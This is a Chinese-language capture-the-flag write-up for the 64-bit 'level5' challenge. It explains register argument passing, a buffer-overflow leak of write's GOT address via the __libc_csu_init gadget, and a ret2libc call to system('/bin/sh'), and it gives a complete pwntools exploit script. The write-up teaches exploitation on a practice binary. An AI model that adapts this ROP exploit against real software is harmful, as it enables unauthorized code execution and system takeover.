level5
这个最新的学习成果。基本环境是64位的环境,与32位极大地不同在于传参,不同于32位参数位于堆栈相对固定的位置,64位的传参需要用到pop指令,将参数传入寄存器中,函数直接从寄存器中调用参数。
题目
-
首先IDA一下:
-
可以看出有read函数可以进行泄露,可以看出缓冲区大小是 80h,可以输入200h的空间,所以可以进行填充泄露,这是泄露的第一步。
-
ps:咱们进行pwn基本上都是先进行泄露,泄露出got表或plt表地址,在进行下一步执行system函数,进而获取系统控制权。
- 对于level 5 ,我们要泄露出write函数的got表地址,对于write函数,可以上网查一查,是一个三个参数的函数,而对于三个参数的函数,有专门的的gadgets可以进行泄露。这里就不得不提__libc_csu_init函数的通用gadget了。详情可见[http://www.cnblogs.com/Ox9A82/p/5487725.html]和[]([https://www.cnblogs.com/xiehongfeng100/p/4619451.html]
- 因此在__libc_csu_init里我们可以找到适合的gadget了,如图:
- 可以看出,我们先执行六个连续pop,将参数传入寄存器,在执行上面的三个move,传入正确的寄存器中,之后执行call,调用write函数,将write的got表地址泄露出来。
- 需要一提的是,在call write 之后,还要继续执行下面的指令,才会到ret ,因此到填充堆栈使程序能正确ret到我们想要的地方(main函数)。
- 接着执行第二次main函数,这次我们要做的直接是通过泄露出来的地址算出system函数地址,使其运行bin/sh,计算过程不太赘述,大同小异,要说的传入/bin/sh参数时也涉及到传参,也需要一个通用的gadget。可以通过
$ ROPgadget --binary level5 --only "pop|ret" | grep rdi
0x0000000000400623 : pop rdi ; ret
- 得到地址。
- 接下来构造exp.py,期间要对应寄存器位置传入正确的参数,如下:
from pwn import *
from LibcSearcher import *
import pwnlib
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
sh = process('./level5')
elf=ELF('./level5')
main=0x400587
pop_6=0x40061A
#pop_6=0x400616
mov_3=0x400600
payload = 'a'*(0x88)+p64(pop_6)
payload += p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)
#payload += p64(0x0000000000400623)+p64(elf.got['write'])
payload += p64(mov_3)+'a'*(56)+p64(main)
gdb.attach(sh)
sh.recvuntil("World\n")
sh.sendline(payload)
write=u64(sh.recv(8).ljust(8,'\x00'))
print ('write',hex(write))
libc = LibcSearcher('write',write)
libcbase = write-libc.dump('write')
system = libcbase+libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
payload1 = 'a'*(0x88)+p64(0x0000000000400623)+p64(bin_sh)+p64(system)
sh.recvuntil("\n")
print('/bin/sh',hex(bin_sh))
sh.sendline(payload1)
sh.interactive()